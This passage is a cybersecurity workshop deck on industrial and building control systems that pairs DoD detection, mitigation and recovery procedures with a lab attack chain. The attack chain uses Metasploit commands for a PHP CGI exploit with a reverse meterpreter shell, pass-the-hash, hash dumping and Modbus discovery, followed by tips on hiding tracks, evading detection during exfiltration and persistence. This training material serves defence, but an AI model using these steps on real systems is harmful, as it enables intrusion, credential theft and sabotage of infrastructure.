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Workshop Overview
0800 – 0900 Classroom: Advanced Cyber Tactics, Techniques, Procedures Concepts 

(Chapters 2 through 4)
0900 – 1000 Lab: Using the QUICX, SCAP, Belarc, CSET, GrassMarlin, Glasswire, 

WhiteScope, and Hash tools to create Enclave, Network 
Architecture/Topology, and Component inventory

1000 – 1015 Break
1015 – 1100 Classroom/Lab: Enclosure E and Appendix A: Create a Fully-Mission 

Capable (FMC) Baseline
1100 – 1200 Classroom/Lab: Enclosure F: Create a Jump-Kit
1200 – 1300 Lunch
1300 – 1330 Lab: Security Audit Plans
1330 – 1430 Classroom: Enclosures A, B, and C: Detection, Mitigation, Recovery 

procedures
1430 – 1515 Classroom/Lab: Enclosure G: Data Collection For Forensics, Using the 

GlassWire, MalwareBytes, MS EMET and Sysinternals, Mandiant, and 
OSForensics tools

1515 – 1530 Break
1530 – 1600 Classroom: Enclosure F: Cyber Severity Levels, Incident Reporting
1600 – 1615 Classroom: Wrap-up



Unit 1
Advanced Cyber Tactics, Techniques, 
Procedures Concepts (Chapters 2 
through 4)



https://smartbuildingsecurity.com/

Military Installations on Shodan - Laconicly



Key Concepts

What is a vulnerability?
A vulnerability is a security hole in a piece of software, hardware or operating system that 
provides a potential angle to attack the system. A vulnerability can be as simple as weak 
passwords or as complex as buffer overflows or SQL injection vulnerabilities.

What is security research?
Vulnerabilities are typically found by security researchers, which is a posh term for smart 
people who like to find flaws in systems and break them. 

What is an exploit?
To take advantage of a vulnerability, you often need an exploit, a small and highly 
specialized computer program whose only reason of being is to take advantage of a 
specific vulnerability and to provide access to a computer system. Exploits often deliver a 
payload to the target system to grant the attacker access to the system.

What is a payload?
A payload is the piece of software that lets you control a computer system after it’s been 
exploited. The payload is typically attached to and delivered by the exploit. Just imagine 
an exploit that carries the payload in its backpack when it breaks into the system and then 
leaves the backpack there. Yes, it’s a corny description, but you get the picture.

https://community.rapid7.com/docs/DOC-2248



TTP ‘s Apply to IT and OT

The Tactics, Techniques and Procedures can be used by any organization and apply to:

Information Technology (IT) Systems – Business and Home
Operational Technologies (OT) Systems – Any Kind (Utility, Building, Environmental, 
Medical, Logistics, Transportation, Weapons, etc.)

The tools that will be used are almost all open source and free to use (premium or business 
versions are modestly priced)

At the conclusion of the workshop, you will appreciate your IT and OT networks in a new 
way and have situational awareness of normal versus abnormal behavior, know what 
actions to take, what contract language to add to SOW’s, and how to protect sensitive 
information as the Internet of Things and the convergence of IT and OT continues to 
evolve.

For the foreseeable future, the trend to co-mingle IT and OT data on non-segmented 
networks is likely to be the norm; DON’T BE A TREND FOLLOWER, DON’T DO IT!

• Segment and VLAN IT and OT networks; DMZ’s with gateways and/or firewalls
• Separate the OS and OT data ( C: OS and D: OT data), enable BitLocker on both drives



Key RMF Documents and Plans

Key RMF Documents/Plans (most now required by insurance)

• System Security Plan (SSP)
• Security Assessment Report (SAR)
• Plan of Action & Milestones (POAM)
• IS Contingency and CONOPS Plan (ISCP)
• Event/Incident Communications Plan (EICP)
• Event/Security Incident Response Plan (EIRP)
• Security Audit Plan (SAP)

Obtain/create these plans in preparation to create the Jump-Kit Rescue CD/USB



Client-Server and Cloud Architectures

Traditional Control Systems Client-Server Architecture
• Vast majority of current Control Systems are organization owned client-server 

architecture
• Systems can last 15-20 years
• Probably 80% or more of the legacy systems are running Windows 95, XP, CE
• Many have hardcoded passwords or no passwords at device level
• Level 4 servers and workstations can be virtualized, and some Level 3 FPOC’s 

controllers can support some logging

Cloud Architectures
• Smart Grids, Buildings, Cars etc. are moving to cloud architectures at a rapid pace
• Manages the facility functions, energy, tenant data very efficiently
• Controllers still need to be in the Levels 3-0 physical space; Level 4 can be in cloud 

space
• Cloud security is typically much better than organization owned client-server 

architecture; they follow NIST RMF, conduct continuous monitoring, multi-factor 
authentication can be enabled

• If network connectivity is lost, controllers default to safe mode



Footprinting Building Control Systems

http://www.kmccontrols.com/products/Understanding_Building_Automation_and_Cont
rol_Systems.aspx



Types of Building Control Systems

Advanced Metering Infrastructure
Building Automation System
Building Management Control System
CCTV Surveillance System
CO2 Monitoring
Digital Signage Systems
Electronic Security System
Emergency Management System
Energy Management System
Exterior Lighting Control Systems
Fire Alarm System

Fire Sprinkler System
Interior Lighting Control System
Intrusion Detection Systems
Physical Access Control System
Public Safety/Land Mobile Radios
Renewable Energy Geothermal Systems
Renewable Energy Photo Voltaic Systems
Shade Control System
Smoke and Purge Systems
Vertical Transport System (Elevators and 
Escalators)

Client-Server
• Typical of most legacy Control Systems
• Many still running XP
• Local OS or VM OS

Cloud Based
• AWS, Azure
• Use VM’s OS
• Instances and SnapShots
• MORE



Smart Grid Report 2014

Advanced metering infrastructure (AMI), which comprises smart meters, communication networks, 
and information management systems, is enhancing the operational efficiency of utilities and 
providing electricity customers with information to more effectively manage their energy use. An 
estimated 65 million smart meters will be installed nationwide by 2015, accounting for more than a 
third of electricity customers. 

Customer-based technologies, such as programmable communicating thermostats for residential 
customers and building energy management systems for commercial and industrial customers, work 
with smart meters to make energy usage data accessible and useful to customers. 



http://www.smartgrid.epri.com/NESCOR.aspx

Advanced Meter Infrastructure (AMI)



AMI



Used to monitor electric energy provider networks, service 
entrances and substations, PowerLogic ION8650 meters are 
ideal for independent power producers and cogeneration 
applications that need to accurately measure energy bi-
directionally in both generation and stand-by modes.

Schneider ION AMI



Modbus Commands or Functions

Modbus Commands, or "Functions":

Modbus commands are known as functions. A function is simply a command to read or write a 
data table address. Functions are numbers such as 1, 2, 3, 4, etc. For example, function "1" will 
read one or more coils. Function "15" will write to one or more coils. All function codes are 
defined as part of the Modbus standard, but which functions were actually implemented in any 
particular device is up to the device designer. For example, a valve bank may only implement 
functions for writing coils because that is all that was necessary for that device. The most 
common functions are listed below. There are many other functions defined in the Modbus 
standard, but these are the ones most commonly encountered.

1 - Read multiple coils. 
2 - Read multiple discrete inputs. 
3 - Read multiple holding registers. 
4 - Read multiple input registers. 
5 - Write single coil. 
6 - Write single holding register. 
15 - Write multiple coils. 
16 - Write multiple holding registers. 

http://mblogic.sourceforge.net/mbapps/ModbusBasics-en.html
http://www.ni.com/white-paper/7675/en/



Penetration tests should start with an architecture review to help the testing team gain a 
deeper knowledge of the target system. This will help the penetration testing team 
understand the intended functionality of the targeted system, its theoretical security 
posture from an architectural perspective, and the security risks that a vulnerability could 
pose to the organization.

Actual penetration tests should be performed on non-production systems and devices that 
are installed and configured for actual operation in testing or staging environments. The 
closer the target systems are configured to their production counterparts, the more 
accurate an assessment you will receive. This includes interconnectivity to dependent 
systems communicating with the targeted systems, such as the presence of a meter data 
management system (MDMS) connected to an AMI headend being testing. In cases where 
testing and staging environments do not exist, the testing team could select non-intrusive, 
low-risk penetration-testing tasks that can be done on production systems.

The following table was used to estimate 
the number of hours an experienced 
tester of the applicable skill set would take 
to complete each task

AMI Penetration Testing



● Green: Tasks that should be performed most frequently, require the most basic of penetration 
testing skill, and can often be performed by internal security teams.

● Yellow: Tasks that are commonly performed and require moderate penetration testing skill.
● Orange: Tasks that are occasionally performed but may require higher levels of expertise.
● Red: Tasks that are infrequently performed and require highly specialized skills not often found in-

house

Penetration Testing Process



AMI Server OS Penetration

Suggested Tools:
● Standard network vulnerability assessment and penetration testing tools such as found on 
the Backtrack distribution



AMI Server OS Penetration



AMI Server Application Penetration



AMI Network Communications Penetration

Suggested Tools:
• Traffic capture and protocol decoder software such as Wireshark or tcpdump
• Hardware network taps
• Man-in-the-Middle tools such as Ettercap
• Protocol fuzzing tools such as Sulley
• Network packet generation such as Scapy
• Universal radio analysis kit, such as USRP2 with GNU Radio



AMI Network Protocol Analysis



Suggested Tools:
• Basic tools such as screw drivers, wire cutters, pliers, tin snips, etc.
• Electronics equipment such as power supply, digital multimeter, and oscilloscope
• Electronic prototyping supplies such as breadboard, wires, components, alligator
• jumpers, etc.
• Specialized tools to communicate directly with individual chips or capture serial
• communications such as a Bus Pirate or commercial equivalent such as Total
• Phase Aardvark/Beagle.
• Universal JTAG tool such as a GoodFET
• Surface mount micro test clips
• Electric meter test socket
• Disassembler Software for the appropriate microprocessors to be tested
• Entropy Analysis Software
• Protocol Analysis Software

AMI Embedded Devices



ICS-CERT Alert - HAVEX

https://ics-cert.us-cert.gov/alerts/ICS-ALERT-14-176-02A
https://ics-cert.us-cert.gov/tips/ICS-TIP-12-146-01B



F-Secure Havex

http://www.f-secure.com/weblog/archives/00002718.html



F-Secure Havex

The main components of Havex are a general purpose Remote Access Trojan (RAT) and a server 
written in PHP. The name "Havex" is clearly visible in the server source code:

During the spring of 2014, we noticed that Havex took a specific interest in Industrial Control 
Systems (ICS) and the group behind it uses an innovative trojan horse approach to compromise 
victims. The attackers have trojanized software available for download from ICS/SCADA 
manufacturer websites in an attempt to infect the computers where the software is installed to. 
We gathered and analyzed 88 variants of the Havex RAT used to gain access to, and harvest data 
from, networks and machines of interest. This analysis included investigation of 146 command 
and control (C&C) servers contacted by the variants, which in turn involved tracing around 1500 
IP addresses in an attempt to identify victims. 

The attackers use compromised websites, mainly blogs, as C&C servers. We also identified an 
additional component used by the attackers that includes code to harvest data from infected 
machines used in ICS/SCADA systems. This indicates that the attackers are not just interested in 
compromising the networks of companies they are interested in, but are also motivated in 
having control of the ICS/SCADA systems in those organizations. The source of this motivation is 
unclear to us.

The normal, clean installer does not include a file called "mbcheck.dll". This file is actually the
Havex malware. The trojanized software installer will drop and execute this file as a part of the 
normal installation. The user is left with a working system, but the attacker now has a 
backdoor to access and control the computer.



Yara

http://plusvic.github.io/yara/



Havex Yara Signature

https://ics-cert.us-cert.gov/sites/default/files/file_attach/ICS-ALERT-14-281-01.yara



OPC

https://opcfoundation.org/

OPC was designed to provide a common bridge for Windows-based software applications 
and process control hardware. Standards define consistent methods of accessing field data 
from plant floor devices. This method remains the same regardless of the type and source 
of data. An OPC Server for one hardware device provides the same methods for an OPC 
Client to access its data as any and every other OPC Server for that same and any other 
hardware device. The aim was to reduce the amount of duplicated effort required from 
hardware manufacturers and their software partners, and from the SCADA (Supervisory 
Control And Data Acquisition) and other HMI (Human-Machine Interface) producers in 
order to interface the two. Once a hardware manufacturer had developed their OPC 
Server for the new hardware device their work was done to allow any 'top end' to access 
their device, and once the SCADA producer had developed their OPC Client their work was 
done to allow access to any hardware, existing or yet to be created, with an OPC compliant 
server.

https://en.wikipedia.org/wiki/Open_Platform_Communications

http://www.opcdatahub.com/WhatIsOPC.html



Front End Open Automation Software HMI

https://www.opcsystems.com/



Open Automation Software HMI

Navigate to All Apps, Open Automation Software
Can be installed locally using OS or VM OS, or cloud VM, note OPC Server



Tunneling - TOR

https://www.torproject.org/



Target Sequence

Target 4 – ICS/BAS, Modbus exploit, locate devices

Target 1 – Corporate DMZ Web Server, php exploit

Target 2 – File Server, psexec Pass-the Hash exploit

Target 3 – MS Domain Controller, nbtstat, netsh to create Beacon



Exploit Description:

When run as a Common Gateway Interface (CGI), PHP up to version 5.3.12 and 5.4.2 
is vulnerable to an argument injection vulnerability providing an attacker with 
remote access. This module takes advantage of the -d flag to set php.ini directives to 
achieve code execution. 

This metasploit module can also be used to exploit the plesk 0day disclosed by 
kingcope and exploited in the wild on June 2013.

Target 1 (Web)

http://en.wikipedia.org/wiki/PHP



Kali Menu



Metasploit Framework

http://www.metasploit.com/



Target 1 (Web)



Target 1 (Web)

Show exploit information 
info exploit/multi/http/php_cgi_arg_injection



Target 1 (Web)

Switch context for the exploit module
• use exploit/multi/http/php_cgi_arg_injection

List required options
• show options

Enter all applicable options
• Set Payload (show payloads)
• RHOST = Remote Host (target)
• RPORT = Vulnerable Service Port (if different than 80)
• LHOST = Listening Host (Attacker)
• LPORT = Listening Port (Attacker)

• set payload php/meterpreter/reverse tcp
• set rhost 10.50.60.20
• set lhost <your ip>
• LPORT = 32445 (arbitrary)



Target 1 (Web)



Target 1 (Web)

Mitigation Description:

For this particular exploit;
 Update PHP to the newest version of PHP

For Services in General: 
 Monitor your logs
 Ensure you are running most recent versions of web 
 Disable any non-required options, services



Exploit Description:

This exploit is a technique that uses a valid administrator username and password (or 
password hash) to execute an arbitrary payload. This particular Metasploit module is 
similar to the "psexec" utility provided by SysInternals. This module presents the 
capability to clean up after itself. The service created by this tool uses a randomly 
chosen name and description – which can be easily modified.

This exploit effects all versions of Windows. 

Target 2 (File Server)



Target 2 (File Server)



Target 2 (File Server)



Psexec:
• Generates a randomly named EXE
• Uploads EXE to the ADMIN$ share
• Uses a remote procedure call to create a service and execute the EXE.

The EXE:
• Starts an instance of rundll32.exe in a suspended state 
• Injects shellcode into rundll32’s memory space
• Calls the starting address of the shellcode

The Shellcode
• Deletes the EXE
• Loads Meterpreter

Target 2 (File Server)



Target 2 (File Server)

• This exploit/payload has no time limit (other than a computer shutdown)
• Unfortunately, AV detection is high but you can customize your payload to reduce the 

detection rate.
• Windows meterpreter has many more features



Target 2 (File Server)

Dumping credentials with hashdump.

Save hashes to a text file for later use.



Target 3 (Domain Controller)

Targets 1 and 2 have now been compromised, the attacker can now attempt to find 
other servers to escalate privileges and find other networks. In a Windows 
environment, the attacker is looking for the Domain Controller and the Active 
Directory, which contains the Users Names and Passwords.

http://en.wikipedia.org/wiki/Domain_controller

On Microsoft Servers, a domain controller (DC) is a server that responds to 
security authentication requests (logging in, checking permissions, etc.) within the 
Windows Server domain. A Domain is a concept introduced in Windows NT whereby 
a user may be granted access to a number of computer resources with the use of a 
single username and password combination.

http://en.wikipedia.org/wiki/Active_Directory

Active Directory (AD) is a directory service that Microsoft developed for Windows 
domain networks and is included in most Windows Server operating systems as a 
set of processes and services.



Target 3 (Domain Controller)
Ipconfig - Notice a second interface

arp_scanner - Notice a second interface at 10.60.70.10



Target 3 (Domain Controller)



Target 3 (Domain Controller)



What we have:
• A target
• A username
• A password hash
• A domain name

What we need:
• A way to tunnel communications from your attack computer to the target
• A way to tunnel the callback from the successful exploit

Target 3 (Domain Controller)

The call back is referred to as Beaconing.



What is a beacon?
A beacon is traffic leaving the inside of a network at regular intervals—it is also called 
a heartbeat. Beacons can be used for a variety of purposes such as obtaining new 
orders from a command and control (C&C) server as well as to download updates or 
other tools. Functionality depends on the goal of the attacker and the stage in the 
attack. In the example traffic image below, the beacons are in red and normal traffic is 
in blue. Notice that the beacons occur every two hours all day and are harder to find 
when traffic volume is higher (between the hours of 5AM and 8PM).

How does a beacon work?
A beacon can use any protocol; however, the most prevalent would probably be HTTP 
or HTTPS. This is most common because egress rules typically allow these protocols 
out of the network. After all, every employee needs to be able to access their 
Facebook page and YouTube from their work PC. :) Increasingly, we are seeing 
attackers using encryption for their C&C and data transfers—thus the use of HTTPS is 
on the rise.

Target 3 (Domain Controller)

http://blog.opensecurityresearch.com/2012/12/testing-your-defenses-
beaconing.html



How might we detect a beacon?
There is a good saying, that “In order to detect abnormal, you must first know what 
normal looks like.” This is very true in the case of beaconing. If you know that your 
business hours are from 5am-8pm and you have something calling out of the 
network during off-hours (as seen in image above)—this could indicate an issue 
worth investigating. To obtain this baseline of normal though you will probably 
utilize a security product of some sort… but what are your options?

There are multiple products that may help detect a beacon. While it can be 
detected at the host level, you probably have a better chance detecting it at the 
network level. Attackers can easily hide maliciousness on the host via rootkits, but 
it is much harder to hide from all of the network-based security devices. 
Additionally, if you have a couple of choke points in your network—it provides a 
prime opportunity to gain some insight into your network traffic.

These devices include, but are not limited to: 
• Firewalls
• Web Proxies
• IDS
• Malware/anomalous traffic detection appliances
• Security Information and Event Management (SIEM) solutions

Target 3 (Domain Controller)



Target 3 (Domain Controller)

Tunneling from the attack station to the target



Target 3 (Domain Controller)

Tunneling from the target back to the attack station



Target 3 (Domain Controller)

Set the SMBUser, SMBPass, and SMBDomain



Target 3 (Domain Controller)

Set the RHOST, LHOST, and LPORT

Exploit



Looks like we found another network

Target 3 (Domain Controller)



Target 4 (ICS/BAS)

Targets 1, 2 and 3 have now been compromised, the attacker can now 
attempt to find other servers to escalate privileges and find other 
networks. Ideally, the ICS/BAS network would be a separate network from 
the business systems. However, in practical terms, the convergence of IT 
and OT means that often the same fiber is being used for both. The 
control systems should be put onto a separate DMZ with a firewall and 
IDS, and VLAN as a minimum.



Results after an ARP scan

Target 4 (ICS/BAS)



Target 4 (ICS/BAS)

Drop into a shell, ping, nbtstat



Target 4 (ICS/BAS)

Add the new IP range to through the DC’s session



Target 4 (ICS/BAS)

Find open ports with the portscan auxiliary module



Target 4 (ICS/BAS)

Metasploit has a couple of Modbus modules
• modbus_findunitid
• modbusclient
• modbusdetect



Target 4 (ICS/BAS)

Modbus_findunitid



Post Exploitation

• Divided into a couple of categories
- Target Survey

- Cleanup

- Collection

- Persistence



Post Exploitation - Target Survey

• The post exploitation survey is designed to 
provide the attacker with a general 
understanding of the target environment

• Executed via a combination of:
- Single command line options

- Meterpreter commands

- Metasploit Post modules

• Scripted (batch, shell, perl, PowerShell, etc)



Post Exploitation - Target Survey

• Information collected will vary depending on the 
nature of the operation but in general:
- Running process

- Active security products  

- Installed applications

- Important files

- Databases

- Network settings / connections

- Web browser history

- Recent user history 



Post Exploitation - Clean

• Covering your tracks

• Leave the target in the same condition as it was 
before the attack

• Potential items to clean, delete, or modify:

- Dropped executables / files / scripts

- Modify timestamps on permanent files to blend in

- Revert any modifications to registry keys

- Logs that are able to be cleaned

- Delete added users or scheduled tasks

- If you ran an executable clean the associated prefetch entry



Post Exploitation - Collect

• The goal of a majority of attacks is to exfil
information

• Most beneficial stage for the attacker but also to 
point where they are most likely to get detected

• Most networks to push large amounts of data 
out of their network

• To help blend in:
- Exfil data during peak hours

- Don’t exceed too large of a threashold

- Try to use common internet protocols like HTTP or SSL

- Choose a logical staging point like a network proxy or busy web server



Post Exploitation – Collect Exfil File Types

BIM
Revit - .adsk, .cas, .rfa, .rft, .rte, .rvg, .rvt, .dwfx
Bentley - .dgn, .cdx, .cel, .dgnlib, .dgr, .hln, .m01, .pltcfg, .psf, .rdl, .s01, .tg4, .ucf, 
.upf, .rsc

CAD
AutoCAD -. dwfx, .dwg, .dxf
Archicad - 2dl, .aat, .bimx, .bpn, .dor, .dsym, .gdl, .gsm, .gsym, .ism, .isym, .lamp, 
.lcf, .lmp, .mde, .msm, .msym, .pin, .pla, .pln, .pne, .rsm, .rsym, .text, .tpl, .win, 
.wsym, .dwg
iDRAW - DRAW

GIS
ESRI - .000, .3dd, .adf, .aga, .agv, .ama, .asa, .bgd, .e00, .elf9, .freelist, .gdbindexes, 
.gdbtable, .gdbtablx, .jpw, .lpk, .mpk, .mxd, .mxt, .sdc, .sdi, .ServerStyle, .style, 
.sxd, .tfwx. .timestamp
Google Earth - .gpx, .arbvp1, .geprint, .igb, .kdx, .klm, .kml, .kmz, .kvw



Post Exploitation - Persist

• The final step is to put down a permanent 
implant if longevity is a goal of the attack

• Must get creative. A/V products know where 
malicious program add themselves for 
persistence.

• Will the implant beacon or listen?

• Hide in plain sight or rootkit?

• Common persistence locations:
- Run keys (registry)

- Services keys (registry)

- Scheduled tasks



3. How to Use These TTP 
This ACI TTP is divided into essentially four 
sections: 

• ACI TTP Concepts (chapters 2 through 4) 
• Threat-Response Procedures (Detection, 

Mitigation, Recovery) (enclosures A, B, and C) 
• Routine Monitoring of the Network and 

Baselining the Network (enclosures D and E) 
• Reference Materials (enclosures F through I 

and appendix A through D) 

ACT TTP for DoD ICS

The scope of the ACI TTP includes all DoD ICS. DoD ICS, which include supervisory control 
and data acquisition (SCADA) systems, distributed control systems (DCS), and other 
control system configurations, such as skid-mounted programmable logic controllers (PLC) 
are typical configurations found throughout the DoD. ICS are often used in the DoD to 
manage sectors of critical infrastructure such as electricity, water, wastewater, oil and 
natural gas, and transportation.



ACT TTP Concepts

ACI TTP Concepts. The concepts provide background information to assist in 
explaining the scope, prerequisites, applicability, and limitations of the components of 
this TTP. The concept chapters should be read prior to responding to indication of 
malicious cyber activity. 

In the 1990s, in order to leverage newly identified efficiencies in ICS, formerly 
physically isolated ICS networks were adapted to interface with the Internet. In the 
early 2000s, active cyber threats were still in their infancy. However, today the cyber 
threat to ICS has grown from an obscure annoyance to one of the most significant 
threats to national security (Rogers, 2015).

The threat, coupled with the inherent lack of cyber security and a long-life span for 
ICS equipment, has created ideal conditions for a cyber attack causing physical and 
tangible repercussions. This has led to a need for tactics, techniques, and procedures 
(TTP) relative to the operations of traditional ICS equipment as well as information 
technology (IT) components.



Threat-Response Procedures

b. Threat-Response Procedures (Detection, Mitigation, and Recovery). 

Detection Procedures (enclosure A) are designed to enable ICS and IT personnel to 
identify malicious network activity using official notifications or anomalous 
symptoms (not attributed to hardware or software malfunctions). While the TTP 
prescribes certain functional areas in terms of ICS or IT, in general each section is 
designed for execution by the individuals responsible for the operations of the 
equipment, regardless of formal designations. Successful Detection of cyber 
anomalies is best achieved when IT and ICS managers remain in close coordination. 
The Integrity Checks Table (enclosure A, section A.3, table A.3.1) lists the procedures 
to use when identifying malicious cyber activity. 



Baselining and Routine Monitoring

Baselining and Routine Monitoring of the Network. 

Before the ACI TTP are adopted, ICS and IT managers should establish what a FMC 
network is as it pertains to their specific installations and missions. The ACI TTP 
defines FMC as a functional recovery point for both the ICS and the SCADA. Once 
this is defined, ICS and IT managers should capture the FMC condition of their 
network entry points (e.g., firewalls, routers, remote access terminals, wireless access 
points, etc.), network topology, network data flow, and machine/device 
configurations, then store these in a secure location. This information should be kept 
under configuration management and updated every time changes are made to the 
network. This information forms the FMC baseline. The FMC baseline is used to 
determine normal operational conditions versus anomalous conditions of the ICS. 



Reference Materials

Reference Materials. 

To further enhance the ACI TTP as a tool, operators are encouraged to refer to 
additional resources provided by the Industrial Control Systems Cyber Emergency 
Response Team (ICS-CERT) and the National Institute of Standards and Technology 
(NIST) Special Publication (SP) 800 Computer Security series (see Appendix D: 
References). 



Detection, Mitigation, Recovery Overview

Navigating Detection, Mitigation, and Recovery Procedures

Detection, Mitigation, and Recovery Procedures are contained within enclosures A 
through C. While Detection Procedures lead to Mitigation Procedures, and Mitigation 
Procedures lead to Recovery Procedures, each enclosure can also be executed as a 
stand-alone resource as well as be incorporated into local procedures. The following 
is an overview for navigating the Detection, Mitigation, and Recovery portions of the 
TTP.



Detection, Mitigation, Recovery Overview



Detection

a. Detection. 

When a notification is received or an anomalous symptom is observed, the operator 
should locate the symptom on the Event Diagnostics Table (enclosure A.1 , table 
A.1.1 ). After locating and investigating the event diagnostics (which includes 
eliminating any non-cyber causes for the anomaly), the operator is directed to the 
Integrity Checks Table (enclosure A, section A.3, table A.3.1). These checks provide 
actions which assists the operator in determining whether a cyber event is in 
progress or not. The operator returns to the diagnostic procedure and then decides 
either to continue with another integrity check or exit the procedure by moving to the 
Mitigation section or returning to the Routine Monitoring section (enclosure D). In the 
case of malicious cyber activity, specific reporting procedures are provided. The 
operator is then directed to notify the ISSM and request permission to move to the 
Mitigation section.



Mitigation

b. Mitigation. 

If the ISSM confirms permission to move to the Mitigation section, the operator’s first 
priority is to isolate any compromised assets, and protect the commander’s mission 
priority through segmentation. This segmentation is based on a predetermined 
segmentation strategy. After this step is complete, the operator next ensures that local 
control has been achieved. After the system is stabilized, the operator can make a 
request to the ISSM to proceed to the Recovery section.

For commercial office and non-government Control Systems, the owner or property 
manager determines the priorities; in most cases tenant service level agreements 
have pre-defined requirements.

It may not be possible to isolate all segments and the decision to continue using the 
compromised Control Systems in a degraded mode may be the best option.

If the IT and OT data is on the same segment (not on separate VLAN)’s, it should be 
assumed that ALL Control Systems and owner and tenant IT systems are potentially 
exploited.



Recovery

c. Recovery. 

Recovery actions follow Mitigation actions. While the TTP addresses specific Recovery 
actions, operators may need to execute investigations, incident response plans, and 
various other overarching command guidelines prior to executing any Recovery 
actions. Operators should ensure familiarity with these policies and guidelines.



Maintaining Operational Resilience

Maintaining Operational Resilience 

As cyber attacks have become focused and relevant in the world of cyber warfare, 
the DoD has moved from a position of “system hardening” to a posture of 
maintaining operational resilience. With the release of Department of Defense 
Instruction (DoDI) 8500.01, Cybersecurity, in March of 2014, the DoD addresses the 
fact that cyber attacks are inevitable, and adversaries will succeed to some degree. 
Therefore, it is incumbent upon all operational areas of the DoD to be prepared to 
meet these three conditions: ensure systems are trustworthy, ensure the mission of 
the organization is prepared to operate with degraded capabilities, and ensure 
systems have the means to prevail in the face of adverse events. 

The ACI TTP provides ICS operators with a means to use both best practices and 
procedures in the defense of the ICS, to degrade the ICS, if necessary, and to 
maintain system operations during an active cyber attack. 



Operational Security Log

Operational Security Log 

There are instructions throughout the ACI TTP threat-response procedures sections 
(enclosures A through C) to record information in a Security Log. An operational 
Security Log is a written organizational record of events such that a reconstruction 
of events could occur to illustrate, over time, the adversarial cyber events that 
occurred on an ICS/IT network as well as the organizational actions to Detect 
and/or counteract them. A log should be designed to reflect and accommodate your 
environment and organizational requirements. 



Chapter 2 – Detection Concepts

Detection Introduction 

a. Definition. The identification of evidence of an adversarial presence, or the 
determination of no adversarial presence 

b. Key Components 
(1) Routine Monitoring 
(2) Inspection 
(3) Identification of adversarial presence 
(4) Documentation 
(5) Notifications 

c. Prerequisites 
(1) FMC baseline 
(2) Routine Monitoring 
(3) Security Log 

Detection Process ACI TTP Entry Points 
1. Anomalies found during Routine Monitoring 
2. Organization directives, ICS-CERT Notices or other official notifications 



Detection Entry Points



Chapter 3 – Mitigation Concepts

Mitigation Introduction 

a. Definition. The actions taken that allow the CS network to continue operating after the 
operator has separated the affected device and/or network segment to prevent the 
propagation of the adversarial presence and to establish control to allow end-state 
processes to continue to operate at the command-directed level without interference. 

b. Key Components 
(1) Protect the information network 
(2) Acquire and protect data for analysis 
(3) Maintain operations during an active attack 

c. Prerequisites 
(1) Identification of evidence of an adversarial presence 
(2) Appropriate notifications and reporting have been initiated 
(3) Security Log 



Chapter 3 – Mitigation Concepts (cont)

Cyber Incident Analysis - It is important to note that Mitigation actions can very easily 
destroy information or forensic evidence that could be useful in follow-on technical 
analysis of an incident. As such, it may become necessary to conduct Mitigation 
Procedures without performing technical analysis to keep the system operational. 

Cyber Incident Response - Organizations must be prepared in advance for any Mitigation. 
Decisions made in haste while responding to a critical incident could lead to further 
unintended consequences. Therefore, Mitigation Procedures, tools, defined interfaces, 
and communications channels and mechanisms should be in place and previously 
tested. 

Mitigation Course of Action (COA) -Develop a plan that lists the specific Mitigation steps 
to take and which identifies the personnel by job description that should take those 
steps. In this way, when an incident does occur, appropriate personnel will know how to 
respond. Escalation procedures and criteria must also be in place to ensure effective 
management engagement during Mitigation actions. Organizations must define 
acceptable risks for incident containment and develop strategies and procedures 
accordingly. This should be conducted during annual risk management activities. 



Chapter 4 – Recovery Concepts

Recovery Introduction 

a. Description. Restoration and reintegration of the CS to a FOC state. 

b. Key Components 
(1) Identify mission priorities 
(2) Acquire and protect data for analysis 
(3) Systematically Recover each affected device 
(4) Systematically reintegrate devices, processes, and network segments 
(5) Test and verify system to ensure devices are not re-infected 

c. Prerequisites 
(1) Network has been isolated and stabilized from the cyber-incident 
(2) Appropriate notifications and reporting has occurred 
(3) Response Jump-Kit 
(4) Baseline documentation 



Chapter 4 – Recovery Concepts (cont)

The operator must not proceed with Recovery Procedures without proper 
authorization and should consult with the ISSM prior to proceeding with those 
Recovery Procedures. A CPT from outside your organization may be called upon to 
direct the Recovery process. The main focus of the CPT is to preserve forensic 
evidence for analysis of the cyber incident and to provide technical assistance as 
required. If directed, the operator may proceed with Recovery Procedures without 
the assistance of a CPT. Every effort should be made to preserve evidence of the 
cyber incident for forensic analysis whenever feasible. 

Forensic evidence collection for Control Systems at this time is very difficult and 
time consuming; very few building controllers have logs, are not authenticated, and 
are on unencrypted networks.



Chapter 4 – Recovery Concepts (cont)

Recovery Process 

a. The Recovery phase begins once the system under attack has been stabilized and 
infected equipment has been isolated from the network. Recovery of the systems will 
require the use of the resources located in the Jump-Kit, the IT and CS system 
schematics, and the wiring and logic diagrams, and may require vendor assistance. 
Successful Recovery of the CS system after the cyber incident will depend upon the 
technical knowledge and skills of the CS and IT operators and will require a high level of 
communication and consultation between these team members and with the ISSM. 

b. Because of the wide variance in ICS/SCADA system design and applications, these 
Recovery Procedures are not specific to a particular make or model of equipment but 
are general in terms of application. 



Chapter 4 – Recovery Concepts (cont)

c. The preferred method of Recovery is the removal and replacement of affected 
devices with off-the-shelf replacements. This method ensures that recovered devices 
are uncontaminated when reintegrated into the network and will aid in preservation of 
forensic evidence of the cyber attack for analysis. If replacement devices are not 
available, the second best option is to reimage affected devices with known good 
firmware and/or software. Whenever possible in this scenario, efforts should be made 
to save a copy of the infected firmware/software for forensic analysis. Vendor 
assistance may be required in order to perform these tasks.

For most Control Systems, it will not be possible to replace the building controllers; a 
small building could have 1000 or more, a medium building 10,000 and a large building 
over 100,000; with multiple vendors and on equipment located throughout the 
building.



Chapter 4 – Recovery Concepts (cont)

d. Additional key points to effective Recovery include technical issues, mission 
priorities, and cyber issues: 

(1) Technical Issues. Recovery requires the ability to reintegrate affected devices 
into operation after they have been replaced or verified to be clean of any 
remnants from a cyber incident. This TTP cannot provide specific detailed 
instructions on how to reintegrate each device for the wide variety of networks 
known to exist. The Recovery team will be required to determine the sequence of 
device reintegration in order to ensure minimal effect on the operation of any 
critical assets in the network, and to avoid recontamination of recently cleaned 
devices. 

(2) Mission Priorities. The sequence of Recovery and reintegration of recovered 
devices will depend on the mission-critical need for systems affected based upon 
the requirements set forth by the organization. Be sure to consult with your ISSM 
and/or chain of command to ensure you are prioritizing the sequence of the 
Recovery process as required by your organization. 



Chapter 4 – Recovery Concepts (cont)

(3) Cyber Issues. Critical to effective Recovery reintegration is ensuring that newly 
recovered devices will not be re-infected. The best way to avoid this problem is to 
verify that each device on the network is clean of any cyber incident remnants. All 
devices in the network should be replaced or re-flashed with known, good 
firm/software to provide confidence that re-infection will not occur. If expedience 
for Recovery of the network takes precedence over this conservative rationale, a risk 
